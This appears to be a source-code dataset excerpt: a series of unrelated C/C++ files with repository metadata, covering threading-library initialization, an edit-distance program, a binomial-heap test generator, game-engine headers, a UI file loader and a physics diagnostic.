/* Copyright 2005-2012 Intel Corporation. All Rights Reserved. The source code contained or described herein and all documents related to the source code ("Material") are owned by Intel Corporation or its suppliers or licensors. Title to the Material remains with Intel Corporation or its suppliers and licensors. The Material is protected by worldwide copyright laws and treaty provisions. No part of the Material may be used, copied, reproduced, modified, published, uploaded, posted, transmitted, distributed, or disclosed in any way without Intel's prior express written permission. No license under any patent, copyright, trade secret or other intellectual property right is granted to or conferred upon you by disclosure or delivery of the Materials, either expressly, by implication, inducement, estoppel or otherwise. Any license under such intellectual property rights must be express and approved by Intel in writing. */ #ifndef _TBB_tbb_main_H #define _TBB_tbb_main_H #include "tbb/atomic.h" namespace tbb { namespace internal { void DoOneTimeInitializations (); //------------------------------------------------------------------------ // __TBB_InitOnce //------------------------------------------------------------------------ //! Class that supports TBB initialization. /** It handles acquisition and release of global resources (e.g. TLS) during startup and shutdown, as well as synchronization for DoOneTimeInitializations. */ class __TBB_InitOnce { friend void DoOneTimeInitializations(); friend void ITT_DoUnsafeOneTimeInitialization (); static atomic<int> count; //! Platform specific code to acquire resources. static void acquire_resources(); //! Platform specific code to release resources. static void release_resources(); //! Specifies if the one-time initializations has been done. static bool InitializationDone; //! Global initialization lock /** Scenarios are possible when tools interop has to be initialized before the TBB itself. This imposes a requirement that the global initialization lock has to support valid static initialization, and does not issue any tool notifications in any build mode. **/ static __TBB_atomic_flag InitializationLock; public: static void lock() { __TBB_LockByte( InitializationLock ); } static void unlock() { __TBB_UnlockByte( InitializationLock, 0 ); } static bool initialization_done() { return __TBB_load_with_acquire(InitializationDone); } //! Add initial reference to resources. /** We assume that dynamic loading of the library prevents any other threads from entering the library until this constructor has finished running. **/ __TBB_InitOnce() { add_ref(); } //! Remove the initial reference to resources. /** This is not necessarily the last reference if other threads are still running. **/ ~__TBB_InitOnce() { remove_ref(); // We assume that InitializationDone is not set after file-scope destructors // start running, and thus no race on InitializationDone is possible. if( initialization_done() ) { // Remove an extra reference that was added in DoOneTimeInitializations. remove_ref(); } } //! Add reference to resources. If first reference added, acquire the resources. static void add_ref(); //! Remove reference to resources. If last reference removed, release the resources. static void remove_ref(); }; // class __TBB_InitOnce } // namespace internal } // namespace tbb #endif /* _TBB_tbb_main_H */
[ "tungnt.rec@gmail.com" ]
tungnt.rec@gmail.com
5281b8860306aa0a71f07d86017951325a8f5e70
81464366d3d2ab91a6600be8646d0856d413d8be
/Edit_distance.cpp
f9b3c833d563e39fdeacd6669f1a4bf9358b90da
[]
no_license
SunnyJaiswal5297/Basic_c_programs
08f289d04817f81222ceaacd7362e47fbae2935e
a2fd6168ce4ff075be6488c172200da21058dd93
refs/heads/master
2022-12-03T09:53:35.189234
2020-07-28T17:17:17
2020-07-28T17:17:17
283,201,986
1
0
null
null
null
null
UTF-8
C++
false
false
860
cpp
#include<bits/stdc++.h> using namespace std; int main() { int t; cin>>t; while (t--) { int m,n,i,j; cin>>m>>n; char str1[m],str2[n]; for(i=0;i<m;i++) cin>>str1[i]; for(i=0;i<n;i++) cin>>str2[i]; int t[m+1][n+1]; for(i=0;i<=m;i++) { for(j=0;j<=n;j++) { if(i==0) t[i][j]=j; else if(j==0) t[i][j]=i; else if(str1[i-1]==str2[j-1]) { t[i][j]=t[i-1][j-1]; } else { int temp=min(t[i-1][j],t[i][j-1]); t[i][j]=1+min(temp,t[i-1][j-1]); } } } cout<<t[m][n]<<endl; } return 0; }
[ "s2jaiswal.sj@gmail.com" ]
s2jaiswal.sj@gmail.com
28ee541b4d9edec2b2a67a7b6b83ce8abdd0174e
0d811bc6c4435ec534300ca4578d5b8318893f16
/04-member_attributes/sample.class.cpp
bfd1e04422d809aa5582553a4640f1a5761841e8
[]
no_license
ekmbcd/cpp_video_lessons
1342965437f0de8984ab75d9019d04465fa29230
2013e75b0bfa2c1a23af8ce8a06700f1e484f40e
refs/heads/main
2023-04-30T16:07:31.271850
2021-05-12T14:43:04
2021-05-12T14:43:04
354,903,524
0
0
null
null
null
null
UTF-8
C++
false
false
298
cpp
#include <iostream> #include "sample.class.hpp" Sample::Sample(void) { std::cout << "Constructor called" << std::endl; return; } Sample::~Sample(void) { std::cout << "Destructor called" << std::endl; return; } void Sample::bar(void) { std::cout << "Member function bar called\n"; return; }
[ "ekmbcd@gmail.com" ]
ekmbcd@gmail.com
9f3cd71628b034354cd396bf7a977a6448a6d410
a14fc71a721f50fdac72dc38924918be2a1a6de1
/Level 2 Term 2/CSE 208/Offline 7 (Binomial Heap)/IOs/Generator/Test/gen.cpp
58d77a8b6e1abc33c8a99ff80ca727b685cc4c0c
[]
no_license
zarif98sjs/Offline-Memorial
0022564fc94497d7d1293e2bcb9280c157cc5afd
1036ba8e792848159b31c09911a2e0cd63cdcba3
refs/heads/master
2022-03-23T06:49:39.207432
2022-02-24T02:28:59
2022-02-24T02:28:59
168,951,578
1
1
null
2020-09-12T11:46:05
2019-02-03T14:03:45
C++
UTF-8
C++
false
false
2,340
cpp
/** Which of the favors of your Lord will you deny ? **/ #include<bits/stdc++.h> using namespace std; #define LL long long #define PII pair<int,int> #define PLL pair<LL,LL> #define F first #define S second #define ALL(x) (x).begin(), (x).end() #define READ freopen("alu.txt", "r", stdin) #define WRITE freopen("vorta.txt", "w", stdout) #ifndef ONLINE_JUDGE #define DBG(x) cout << __LINE__ << " says: " << #x << " = " << (x) << endl #else #define DBG(x) #define endl "\n" #endif template<class T1, class T2> ostream &operator <<(ostream &os, pair<T1,T2>&p); template <class T> ostream &operator <<(ostream &os, vector<T>&v); template <class T> ostream &operator <<(ostream &os, set<T>&v); inline void optimizeIO() { ios_base::sync_with_stdio(false); cin.tie(NULL); } const int nmax = 2e5+7; int rand(int a, int b) { return a + rand() % (b - a + 1); } vector<string> operations = {"F","I","U","E"}; int MX = 1000; int32_t main(int argc, char* argv[]) { optimizeIO(); // WRITE; srand(atoi(argv[1])); /// atoi(s) converts an array of chars to int int n = rand(1,MX); int sz = 0; for(int i=1;i<=n;) { int id = rand(1,MX)%4; string s = operations[id]; if(s=="I") { int num = rand(1,MX); cout<<s<<" "<<num<<endl; cout<<"P"<<endl; i++; sz++; } else if(s=="F" || s=="E") { if(sz==0) continue; cout<<s<<endl; i++; } else if(s=="U") { cout<<s<<" "; int m = rand(1,50); while(m--) { int num = rand(1,MX); cout<<num<<" "; } cout<<endl; cout<<"P"<<endl; i++; } } return 0; } /** **/ template<class T1, class T2> ostream &operator <<(ostream &os, pair<T1,T2>&p) { os<<"{"<<p.first<<", "<<p.second<<"} "; return os; } template <class T> ostream &operator <<(ostream &os, vector<T>&v) { os<<"[ "; for(T i:v) { os<<i<<" " ; } os<<" ]"; return os; } template <class T> ostream &operator <<(ostream &os, set<T>&v) { os<<"[ "; for(T i:v) { os<<i<<" "; } os<<" ]"; return os; }
[ "zarif98sjs@gmail.com" ]
zarif98sjs@gmail.com
67ae14022184d8b924eec8c050fdd01f4d2ff611
b4e2870e505b3a576115fa9318aabfb971535aef
/zParserExtender/ZenGin/Gothic_I_Classic/API/zSky_Outdoor.h
092d8bb7a1342bafae91425a02c7be80c0363dd6
[]
no_license
Gratt-5r2/zParserExtender
4289ba2e71748bbac0c929dd1941d151cdde46ff
ecf51966e4d8b4dc27e3bfaff06848fab69ec9f1
refs/heads/master
2023-01-07T07:35:15.720162
2022-10-08T15:58:41
2022-10-08T15:58:41
208,900,373
6
1
null
2023-01-02T21:53:03
2019-09-16T21:21:28
C++
UTF-8
C++
false
false
1,547
h
// Supported with union (c) 2018 Union team #ifndef __ZSKY__OUTDOOR_H__VER0__ #define __ZSKY__OUTDOOR_H__VER0__ namespace Gothic_I_Classic { const int zEFFECT_BOX_SIDES = 2500; const int zEFFECT_BOX_HEIGHT = 1000; const int zMAX_FLY_PARTICLE = 1024; const int zMAX_IMPACT_PARTICLE = 1024; const int zCACHE_SIZE = 512; class zCOutdoorRainFX { public: struct zSParticle { zVEC3 m_destPosition; zVEC3 m_destNormal; zSParticle() {} // user API #include "zCOutdoorRainFX_zSParticle.inl" }; struct zSCacheElement { zVEC3 m_position; zVEC3 m_normal; zSCacheElement() {} // user API #include "zCOutdoorRainFX_zSCacheElement.inl" }; void zCOutdoorRainFX_OnInit() zCall( 0x005B8330 ); zCOutdoorRainFX() zInit( zCOutdoorRainFX_OnInit() ); ~zCOutdoorRainFX() zCall( 0x005B84B0 ); void UpdateSound( float ) zCall( 0x005B8560 ); void SetEffectWeight( float, float ) zCall( 0x005B8760 ); int CheckCameraBeam( zVEC3 const& ) zCall( 0x005B8910 ); void CreateParticles( zTRenderContext& ) zCall( 0x005B8B30 ); void UpdateParticles() zCall( 0x005B9230 ); void RenderParticles( zTRenderContext&, zCOLOR ) zCall( 0x005B93F0 ); // user API #include "zCOutdoorRainFX.inl" }; } // namespace Gothic_I_Classic #endif // __ZSKY__OUTDOOR_H__VER0__
[ "amax96@yandex.ru" ]
amax96@yandex.ru
81528317b4373418afe0d58c270082ce8b9a1e9d
6bf53fb560aa552acdfcd223ac945b31259ca9c1
/src/trew/Vector2.hpp
cd74f358acc347e0240b6defd5df10555ccdbcf0
[ "MIT" ]
permissive
yavl/trewlib
7a4be55a0846a68b71b6488fe1c63132ecc8f97c
03a49aa82794a42edef851456ff111156157112c
refs/heads/master
2023-03-25T03:08:17.992246
2021-03-25T14:43:36
2021-03-25T14:43:36
84,576,861
1
0
null
null
null
null
UTF-8
C++
false
false
614
hpp
#pragma once namespace trew { class Vector2 { public: Vector2(); Vector2(float x, float y); virtual ~Vector2() = default; virtual Vector2 operator+(const Vector2& b) const; virtual Vector2 operator-(const Vector2& b) const; virtual Vector2 operator*(float scalar) const; virtual void operator*=(float scalar); virtual bool operator==(const Vector2& b) const; virtual bool operator!=(const Vector2& b) const; virtual Vector2 normalized() const; virtual float length() const; virtual float distance(const Vector2& b) const; float x; float y; private: }; }
[ "yavl98@mail.ru" ]
yavl98@mail.ru
bceace4e385a52a09b60c432c0c2fa1545089702
70c00abb82999ed2219c565e27508fbf2300c5e8
/sources/utils.cpp
8012bb7156ff0083941f1fd12f49264a75ee10d2
[]
no_license
Wintari/nokia-test-task
b2c141f128bfdf399fa4dedf135b16ed7904d210
28a9a3924f356018bd41b89954cdcb3280e58c58
refs/heads/main
2023-07-30T16:20:22.116195
2021-09-23T01:49:47
2021-09-23T01:49:47
408,239,848
0
0
null
null
null
null
UTF-8
C++
false
false
578
cpp
#include "utils.h" std::vector<std::string> split(const std::string& str, const std::string& delimiters){ std::vector<std::string> parts; size_t start = 0, end = 0; while (end < str.size()) { end = start; while (end < str.size() && (delimiters.find(str[end]) == std::string::npos)) { end++; } if(end - start != 0) { parts.push_back(std::string(str, start, end-start)); } else { parts.push_back(""); } start = end + 1; } return parts; }
[ "dimonx2000.ru@mail.ru" ]
dimonx2000.ru@mail.ru
b1cfeea26d164357304e37637846274d0f9ffb9e
ee566f1e387d6c4009cb299a4d5f4c00bd3cc901
/src/accel/GeantStepDiagnostic.cc
13efd03ff859fd7f44e2c1ecf650da195cdd60e2
[ "MIT", "Apache-2.0" ]
permissive
celeritas-project/celeritas
3d4f5aedd01c9c21b62ae0712c84f027e05179d3
e7fe01331baf055393d78bdaceff8c1f7db4c9c4
refs/heads/develop
2023-09-01T14:10:32.210033
2023-08-31T21:14:20
2023-08-31T21:14:20
250,622,820
48
24
NOASSERTION
2023-09-14T17:11:38
2020-03-27T19:06:46
C++
UTF-8
C++
false
false
3,987
cc
//----------------------------------*-C++-*----------------------------------// // Copyright 2022-2023 UT-Battelle, LLC, and other Celeritas developers. // See the top-level COPYRIGHT file for details. // SPDX-License-Identifier: (Apache-2.0 OR MIT) //---------------------------------------------------------------------------// //! \file accel/GeantStepDiagnostic.cc //---------------------------------------------------------------------------// #include "GeantStepDiagnostic.hh" #include <algorithm> #include <set> #include <G4Track.hh> #include "corecel/Assert.hh" #include "corecel/Macros.hh" #include "corecel/cont/Range.hh" #include "corecel/io/JsonPimpl.hh" #include "accel/ExceptionConverter.hh" #if CELERITAS_USE_JSON # include <nlohmann/json.hpp> #endif namespace celeritas { //---------------------------------------------------------------------------// /*! * Construct with number of bins and threads. * * The final bin is for overflow. */ GeantStepDiagnostic::GeantStepDiagnostic(size_type num_bins, size_type num_threads) : num_bins_(num_bins + 2) { CELER_EXPECT(num_bins_ > 2); CELER_EXPECT(num_threads > 0); thread_store_.resize(num_threads); } //---------------------------------------------------------------------------// /*! * Write output to the given JSON object. */ void GeantStepDiagnostic::output(JsonPimpl* j) const { #if CELERITAS_USE_JSON using json = nlohmann::json; auto obj = json::object(); obj["steps"] = this->CalcSteps(); obj["pdg"] = this->GetPDGs(); obj["_index"] = {"particle", "num_steps"}; j->obj = std::move(obj); #else (void)sizeof(j); #endif } //---------------------------------------------------------------------------// /*! * Update the step count from the given track. */ void GeantStepDiagnostic::Update(G4Track const* track) { CELER_EXPECT(track); size_type num_steps = track->GetCurrentStepNumber(); if (num_steps == 0) { // Don't tally if the track wasn't transported with Geant4 return; } size_type thread_id = G4Threading::IsMultithreadedApplication() ? G4Threading::G4GetThreadId() : 0; CELER_ASSERT(thread_id < thread_store_.size()); // Get the vector of counts for this particle auto pdg = track->GetDefinition()->GetPDGEncoding(); VecCount& counts = thread_store_[thread_id][pdg]; counts.resize(num_bins_); // Increment the bin corresponding to the given step count size_type bin = std::min(num_steps, num_bins_ - 1); ++counts[bin]; } //---------------------------------------------------------------------------// /*! * Get the diagnostic results accumulated over all threads. */ auto GeantStepDiagnostic::CalcSteps() const -> VecVecCount { auto pdgs = this->GetPDGs(); VecVecCount result(pdgs.size(), VecCount(num_bins_)); for (auto const& pdg_to_count : thread_store_) { for (auto pdg_idx : range(pdgs.size())) { auto iter = pdg_to_count.find(pdgs[pdg_idx]); if (iter != pdg_to_count.end()) { for (auto step_idx : range(iter->second.size())) { result[pdg_idx][step_idx] += iter->second[step_idx]; } } } } return result; } //---------------------------------------------------------------------------// /*! * Get a sorted vector of PDGs. */ std::vector<int> GeantStepDiagnostic::GetPDGs() const { std::set<int> pdgs; for (auto const& pdg_to_count : thread_store_) { for (auto const& kv : pdg_to_count) { pdgs.insert(kv.first); } } std::vector<int> result(pdgs.begin(), pdgs.end()); std::sort(result.begin(), result.end()); return result; } //---------------------------------------------------------------------------// } // namespace celeritas
[ "noreply@github.com" ]
celeritas-project.noreply@github.com
a43e2df6b2cdcf92988c4150e168c032bc7c04d1
af2e4955496b3d43e9da74129541b5a50f63bca6
/DLE/Editor/ObjectTool.Physics.cpp
47282a97ea26cc8158dc714580969c29033ec705
[ "MIT" ]
permissive
Playfloor/DLE.NET
2bebd94cb87f6120c02733f113bc4278d109eb85
fe422895a91a28fdee7f980f7613bb4c8c047bb0
refs/heads/master
2022-12-11T14:14:47.261279
2020-08-09T22:49:35
2020-08-09T22:49:35
null
0
0
null
null
null
null
UTF-8
C++
false
false
5,020
cpp
#include "stdafx.h" #include "afxpriv.h" //------------------------------------------------------------------------------ static CSliderData sliderData [] = { {IDC_OBJ_STRENGTH_SLIDER, 0, 8, 1, null}, {IDC_OBJ_MASS_SLIDER, 10, 20, 1, null}, {IDC_OBJ_DRAG_SLIDER, 1, 13, F1_0 / 100, null}, {IDC_OBJ_EBLOBS_SLIDER, 0, 100, 1, null}, {IDC_OBJ_LIGHT_SLIDER, 0, 10, 1, null}, {IDC_OBJ_GLOW_SLIDER, 0, 12, 1, null} }; //------------------------------------------------------------------------------ //------------------------------------------------------------------------------ //------------------------------------------------------------------------------ BEGIN_MESSAGE_MAP (CObjectPhysicsTool, CObjectTabDlg) ON_WM_HSCROLL () ON_WM_VSCROLL () ON_WM_PAINT () ON_BN_CLICKED (IDC_OBJ_BRIGHT, OnChange) ON_BN_CLICKED (IDC_OBJ_CLOAKED, OnChange) END_MESSAGE_MAP () //------------------------------------------------------------------------------ BOOL CObjectPhysicsTool::OnInitDialog () { if (!CObjectTabDlg::OnInitDialog ()) return FALSE; InitSliders (this, m_data, sliderData, sizeofa (m_data)); Refresh (); m_bInited = true; return TRUE; } //------------------------------------------------------------------------------ void CObjectPhysicsTool::DoDataExchange (CDataExchange *pDX) { } //------------------------------------------------------------------------------ void CObjectPhysicsTool::EnableControls (BOOL bEnable) { CDlgHelpers::EnableControls (IDC_OBJ_STRENGTH_SLIDER, IDT_OBJ_GLOW, bEnable && (objectManager.Count () > 0) && (current->Object ()->Type () == OBJ_ROBOT)); } //------------------------------------------------------------------------------ bool CObjectPhysicsTool::OnScroll (UINT scrollCode, UINT thumbPos, CScrollBar *pScrollBar) { for (int i = 0; i < sizeofa (m_data); i++) { if (m_data [i].OnScroll (scrollCode, thumbPos, pScrollBar)) { UpdateRobot (); return true; } } return false; } //------------------------------------------------------------------------------ void CObjectPhysicsTool::OnHScroll (UINT scrollCode, UINT thumbPos, CScrollBar *pScrollBar) { if (!OnScroll (scrollCode, thumbPos, pScrollBar)) CObjectTabDlg::OnHScroll (scrollCode, thumbPos, pScrollBar); } //------------------------------------------------------------------------------ void CObjectPhysicsTool::OnVScroll (UINT scrollCode, UINT thumbPos, CScrollBar *pScrollBar) { if (!OnScroll (scrollCode, thumbPos, pScrollBar)) CObjectTabDlg::OnVScroll (scrollCode, thumbPos, pScrollBar); } //------------------------------------------------------------------------------ bool CObjectPhysicsTool::Refresh (void) { if (!(m_bInited && theMine)) return false; if (current->ObjectId () == objectManager.Count ()) { EnableControls (FALSE); return true; } EnableControls (TRUE); CGameObject* pObject = current->Object (); RefreshRobot (); UpdateData (FALSE); DLE.MineView ()->Refresh (FALSE); return true; } //------------------------------------------------------------------------------ void CObjectPhysicsTool::RefreshRobot (void) { int nType = current->Object ()->Type (); if (nType != OBJ_ROBOT) { BtnCtrl (IDC_OBJ_BRIGHT)->SetCheck (FALSE); BtnCtrl (IDC_OBJ_CLOAKED)->SetCheck (FALSE); for (int i = 0; i < sizeofa (m_data); i++) m_data [i].SetValue (0); return; } int nId = int (current->Object ()->Id ()); CRobotInfo robotInfo = *robotManager.RobotInfo (nId); BtnCtrl (IDC_OBJ_BRIGHT)->SetCheck (robotInfo.Info ().lighting); BtnCtrl (IDC_OBJ_CLOAKED)->SetCheck (robotInfo.Info ().cloakType); m_data [0].SetValue (robotInfo.GetStrength ()); m_data [1].SetValue (FixLog (robotInfo.Info ().mass)); m_data [2].SetValue (robotInfo.Info ().drag); m_data [3].SetValue (robotInfo.Info ().energyBlobs); m_data [4].SetValue (robotInfo.Info ().lightCast); m_data [5].SetValue (robotInfo.Info ().glow); } //------------------------------------------------------------------------------ void CObjectPhysicsTool::UpdateRobot (void) { int nId = int (current->Object ()->Id ()); if ((nId < 0) || (nId >= MAX_ROBOT_ID_D2)) nId = 0; CRobotInfo robotInfo = *robotManager.RobotInfo (nId); robotInfo.Info ().bCustom |= 1; robotInfo.SetModified (true); robotInfo.SetStrength (m_data [0].GetValue ()); robotInfo.Info ().mass = m_data [1].GetValue (); robotInfo.Info ().drag = m_data [2].GetValue (); robotInfo.Info ().energyBlobs = m_data [3].GetValue (); robotInfo.Info ().lightCast = m_data [4].GetValue (); robotInfo.Info ().glow = m_data [5].GetValue (); robotInfo.Info ().lighting = BtnCtrl (IDC_OBJ_BRIGHT)->GetCheck (); robotInfo.Info ().cloakType = BtnCtrl (IDC_OBJ_CLOAKED)->GetCheck (); undoManager.Begin (__FUNCTION__, udRobots); *robotManager.RobotInfo (nId) = robotInfo; undoManager.End (__FUNCTION__); } //------------------------------------------------------------------------------ //------------------------------------------------------------------------------ //------------------------------------------------------------------------------ //eof objectdlg.cpp
[ "dkeymer@microsoft.com" ]
dkeymer@microsoft.com
8f1b9b6b2bbee8d50f9a9a8ad8b10b082d85bcdc
f686a2c592a4eb01dd0cbbf5d7fee8c724784797
/Srcs/Server/game/src/buff_on_attributes.h
48d3d9ad0b5bbd8e7ac64f5ab2e68eb76d232ba2
[]
no_license
samto09/AltyapiServer
a7e2d9a2fec846f764070bd5850ada1434825a19
d41fc0709386d5def3ff3ac4274043b47c352e19
refs/heads/master
2023-08-11T08:32:03.062052
2021-09-21T02:58:34
2021-09-21T02:58:34
null
0
0
null
null
null
null
UHC
C++
false
false
1,323
h
#ifndef __METIN2_BUFF_ON_ATTRIBUTES_H #define __METIN2_BUFF_ON_ATTRIBUTES_H class CHARACTER; class CBuffOnAttributes { public: CBuffOnAttributes(LPCHARACTER pOwner, BYTE m_point_type, std::vector <BYTE>* vec_buff_targets); ~CBuffOnAttributes(); // 장착 중 이면서, m_p_vec_buff_wear_targets에 해당하는 아이템인 경우, 해당 아이템으로 인해 붙은 효과를 제거. void RemoveBuffFromItem(LPITEM pItem); // m_p_vec_buff_wear_targets에 해당하는 아이템인 경우, 해당 아이템의 attribute에 대한 효과 추가. void AddBuffFromItem(LPITEM pItem); // m_bBuffValue를 바꾸고, 버프의 값도 바꿈. void ChangeBuffValue(BYTE bNewValue); // m_p_vec_buff_wear_targets에 해당하는 모든 아이템의 attribute를 type별로 합산하고, // 그 attribute들의 (m_bBuffValue)% 만큼을 버프로 줌. bool On(BYTE bValue); // 버프 제거 후, 초기화 void Off(); void Initialize(); private: LPCHARACTER m_pBuffOwner; BYTE m_bPointType; BYTE m_bBuffValue; std::vector <BYTE>* m_p_vec_buff_wear_targets; // apply_type, apply_value 페어의 맵 typedef std::map <BYTE, int> TMapAttr; // m_p_vec_buff_wear_targets에 해당하는 모든 아이템의 attribute를 type별로 합산하여 가지고 있음. TMapAttr m_map_additional_attrs; }; #endif
[ "gs.eray.55@hotmail.com" ]
gs.eray.55@hotmail.com
b5d4f29a9ef6a8621815c2407ad6d62bee7bdcc6
67105a904f0ebc4b710eced91de499dfe3011b28
/main.cpp
88ea3c4013ca89a4761c13f53ecfdcfb3d12aea4
[]
no_license
Lotu527/ThoughtWorks
d1a63b1cb9e14954d8e9fd6257895c3925496219
42831d63e357a6bd470ad9aec9faa34bb3834d2e
refs/heads/master
2020-03-19T16:15:09.591875
2018-06-10T06:58:52
2018-06-10T06:58:52
136,707,764
0
0
null
null
null
null
UTF-8
C++
false
false
431
cpp
#include "Display.h" #include "World.h" const int maxRow = 60; const int maxCow = 70; const int minRow = 10; const int minCow = 10; int main(int argc, char* argv[]) { if(argc == 2){ Display display(argv[1]); display.animation(); }else if(argc == 1){ srand(time(NULL)); Display display(new World(rand()%maxRow+minRow,rand()%maxCow+minCow)); display.animation(); } return 0; }
[ "gao527950554@foxmail.com" ]
gao527950554@foxmail.com
59678cfb4a24eb09647cca8e172ded9d02c12b83
6b66afe308a49eeccc354b28303678d763b44f33
/Code/Source/Helpers/FileResourceHandler.h
d9f308e160d7f217066a715bef5e22be6f24c093
[ "MIT" ]
permissive
ezhangle/LmbrCoherentGT
5526283d7d77083538568cb9206802c319fbe53d
5dffd803cfb330262d85d5d23a6a31bf3c4fea8a
refs/heads/master
2021-01-18T22:17:33.018541
2016-06-09T21:43:48
2016-06-09T21:43:48
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,426
h
#pragma once #include <Coherent/UIGT/ResourceHandler.h> #include <string> #include <fstream> // Inherint the base ResouceHandler class and use a custom implementation // of OnResourceRead to read files. class FileResourceHandler : public Coherent::UIGT::ResourceHandler { public: virtual void OnResourceRead( const Coherent::UIGT::ResourceRequestUIGT* request, Coherent::UIGT::ResourceResponseUIGT* response) COHERENT_OVERRIDE { Coherent::UIGT::URLComponent hostComp; Coherent::UIGT::URLComponent pathComp; Coherent::UIGT::URLComponent queryComp; std::string asciiUrl(request->GetURL()); const char* url = asciiUrl.c_str(); if (!Coherent::UIGT::URLParse(url, &hostComp, &pathComp, &queryComp)) { assert(false && "Invalid url!"); response->SignalFailure(); return; } std::string pathStr(pathComp.Start, pathComp.Length); CryLogAlways("PATH STRING: %s", pathStr); unsigned decodedSize = 0; Coherent::UIGT::DecodeURLString(pathStr.c_str(), nullptr, &decodedSize); if (!decodedSize) { response->SignalFailure(); response->Release(); return; } std::unique_ptr<char[]> decodedStr(new char[decodedSize]); Coherent::UIGT::DecodeURLString(pathStr.c_str(), decodedStr.get(), &decodedSize); std::string decodedURL = decodedStr.get(); #if defined(COHERENT_PLATFORM_WIN) auto result = MultiByteToWideChar( CP_UTF8, MB_ERR_INVALID_CHARS, decodedURL.c_str(), -1, 0, 0); if (result == ERROR_NO_UNICODE_TRANSLATION) { std::string error("The URL of the requested resource "); error += decodedURL; error += " contains invalid characters."; OutputDebugStringA(error.c_str()); } std::vector<wchar_t> decodedURLWide(result); MultiByteToWideChar( CP_UTF8, 0, decodedURL.c_str(), -1, decodedURLWide.data(), decodedURLWide.size()); std::ifstream ifs(decodedURLWide.data(), std::ios::binary); #else std::ifstream ifs(decodedURL, std::ios::binary); #endif if (ifs.good()) { ifs.seekg(0, std::ios::end); size_t filesize = size_t(ifs.tellg()); ifs.seekg(0, std::ios::beg); std::vector<char> buffer(filesize); ifs.read(&buffer[0], filesize); // Status *must* be set before receiving any data response->SetStatus(200); response->SetExpectedLength(filesize); response->ReceiveData(&buffer[0], filesize); response->SignalSuccess(); } else { response->SignalFailure(); } response->Release(); } };
[ "cozzensbp@gmail.com" ]
cozzensbp@gmail.com
c5527d0bf20df9cf22c137fb32f3738edbd1d388
bc18d8ccf178debc45e0e40e069286fd8e53eadd
/nagle2/Day-III/06-coco/Tests/whatsit/inc.inc
ff0ea7ecd4b76ba6f0402f509b69052da967792f
[]
no_license
srinathv/Coding-Examples
f9689d3568aec121ab598046566a61449b3f8501
1bed74c431950acd306633ad5b4f9d6293a9f379
refs/heads/master
2021-01-19T01:21:55.589579
2020-10-09T21:33:08
2020-10-09T21:33:08
1,661,095
7
3
null
null
null
null
UTF-8
C++
false
false
8
inc
yea yea
[ "srinath.vadlamani@gmail.com" ]
srinath.vadlamani@gmail.com
316c0d5cfa06fdbeb090202fe488da61050b5daf
59418b5794f251391650d8593704190606fa2b41
/plugin_api/qsf/qsf/renderer/light/OgreCompositorPassFactoryDeferredLight.h
9da9a3fafb63a0cc6ded29e4ac6f8f7f3da4f1a8
[]
no_license
JeveruBerry/emergency5_sdk
8e5726f28123962541f7e9e4d70b2d8d5cc76cff
e5b23d905c356aab6f8b26432c72d18e5838ccf6
refs/heads/master
2023-08-25T12:25:19.117165
2018-12-18T16:55:16
2018-12-18T17:09:54
null
0
0
null
null
null
null
UTF-8
C++
false
false
4,246
h
// Copyright (C) 2012-2018 Promotion Software GmbH //[-------------------------------------------------------] //[ Header guard ] //[-------------------------------------------------------] #pragma once //[-------------------------------------------------------] //[ Includes ] //[-------------------------------------------------------] #include "qsf/renderer/compositor/OgreCompositorPassFactory.h" //[-------------------------------------------------------] //[ Forward declarations ] //[-------------------------------------------------------] namespace Ogre { namespace v1 { class IndexData; class VertexData; } } namespace qsf { class LightMaterialGenerator; } //[-------------------------------------------------------] //[ Namespace ] //[-------------------------------------------------------] namespace qsf { //[-------------------------------------------------------] //[ Classes ] //[-------------------------------------------------------] /** * @brief * Deferred light OGRE compositor pass factory pluginable */ class OgreCompositorPassFactoryDeferredLight : public OgreCompositorPassFactory { //[-------------------------------------------------------] //[ Friends ] //[-------------------------------------------------------] friend class DeferredLight; friend class OgreCompositorPassDeferredLight; //[-------------------------------------------------------] //[ Public definitions ] //[-------------------------------------------------------] public: static const uint32 PLUGINABLE_ID; ///< "qsf::compositing::OgreCompositorPassFactoryDeferredLight" unique pluginable view ID //[-------------------------------------------------------] //[ Public methods ] //[-------------------------------------------------------] public: /** * @brief * Constructor */ explicit OgreCompositorPassFactoryDeferredLight(OgreCompositorPassProvider* ogreCompositorPassProvider); /** * @brief * Destructor */ virtual ~OgreCompositorPassFactoryDeferredLight(); //[-------------------------------------------------------] //[ Protected virtual qsf::OgreCompositorPassFactory methods ] //[-------------------------------------------------------] protected: virtual Ogre::CompositorPassDef* addPassDef(Ogre::uint32 rtIndex, Ogre::CompositorNodeDef* parentNodeDef) override; virtual Ogre::CompositorPass* addPass(const Ogre::CompositorPassDef* definition, Ogre::Camera* defaultCamera, Ogre::CompositorNode* parentNode, const Ogre::CompositorChannel& target, Ogre::SceneManager* sceneManager) override; //[-------------------------------------------------------] //[ Private data ] //[-------------------------------------------------------] private: LightMaterialGenerator* mLightMaterialGenerator; ///< The material generator for the light geometry, always valid, destroy the instance if you no longer need it // Vertex and index data Ogre::v1::VertexData* mDirectionalOgreVertexData; Ogre::v1::VertexData* mPointOgreVertexData; Ogre::v1::IndexData* mPointOgreIndexData; Ogre::v1::VertexData* mSpotOgreVertexData; Ogre::v1::IndexData* mSpotOgreIndexData; //[-------------------------------------------------------] //[ CAMP reflection system ] //[-------------------------------------------------------] QSF_CAMP_RTTI() // Only adds the virtual method "campClassId()", nothing more }; //[-------------------------------------------------------] //[ Namespace ] //[-------------------------------------------------------] } // qsf //[-------------------------------------------------------] //[ CAMP reflection system ] //[-------------------------------------------------------] QSF_CAMP_TYPE_NONCOPYABLE(qsf::OgreCompositorPassFactoryDeferredLight)
[ "christian.ofenberg@promotion-software.de" ]
christian.ofenberg@promotion-software.de
6353a2935c2e2e2f75d9ed2d2cc26dd8a491f773
518bdd606d25acef6a89a5c8b0da19eed0ddb969
/GameplayFootball/src/menu/league/league_calendar.hpp
4f4dab3bdcd3b12a310e13480b9a8bf0e8e4fa87
[ "MIT" ]
permissive
ElsevierSoftwareX/SOFTX-D-20-00016
b900c40ac0565a2d7ac66ab18e92f0be903b6bba
48c28adb72aa167a251636bc92111b3c43c0be67
refs/heads/master
2023-01-03T00:55:21.073395
2020-06-04T16:29:27
2020-06-04T16:29:27
305,829,146
10
0
null
null
null
null
UTF-8
C++
false
false
918
hpp
